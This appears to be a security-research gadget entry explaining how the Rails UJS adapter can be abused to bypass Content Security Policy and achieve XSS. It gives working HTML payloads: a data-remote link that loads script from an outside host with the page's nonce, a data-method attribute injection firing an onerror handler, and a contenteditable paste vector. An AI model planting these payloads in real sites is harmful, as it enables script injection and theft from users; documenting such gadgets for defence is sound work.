Ruby on Rails unobtrusive scripting adapter.
Rails UJS allows loading JavaScript files using data-*
attributes. Furthermore, if a nonce is found using the selector meta[name=”csp-nonce”], it will automatically be added to the <script>
tag. Since the event is delegated to the document, it can be triggered at any time.
For this to works the server must respond with Access-Control-Allow-Origin: *
, Access-Control-Allow-Headers: *
and Content-Type: application/javascript
.
<meta name="csp-nonce" content="secret">
<script nonce="secret" src="https://cdn.jsdelivr.net/npm/@rails/[email protected]/app/assets/javascripts/rails-ujs.min.js"></script>
<!-- user input -->
<a data-remote="true" data-method="get" data-type="script" href="https://gmsgadget.com/assets/xss/index.js">XSS</a>
An alternative payload that uses fewer attributes works by abusing the data-method
attribute, which ends in an innerHTML sink (this one won’t work without an unsafe-inline
CSP directive).
<script nonce="secret" src="https://cdn.jsdelivr.net/npm/@rails/[email protected]/app/assets/javascripts/rails-ujs.min.js"></script>
<!-- user input -->
<a data-method="'><img src=x onerror=alert(1)>'" href="https://gmsgadget.com/assets/xss/index.js">XSS</a>
Another interesting way to abuse this gadget (highlighted by @ryotkak) is by copy-pasting the payload into a contenteditable element.
<meta name="csp-nonce" content="secret">
<script nonce="secret" src="https://cdn.jsdelivr.net/npm/@rails/[email protected]/app/assets/javascripts/rails-ujs.min.js"></script>
<!-- past the payload here -->
<div contenteditable="true"></div>
The full list of available data-*
attributes is:
Related links: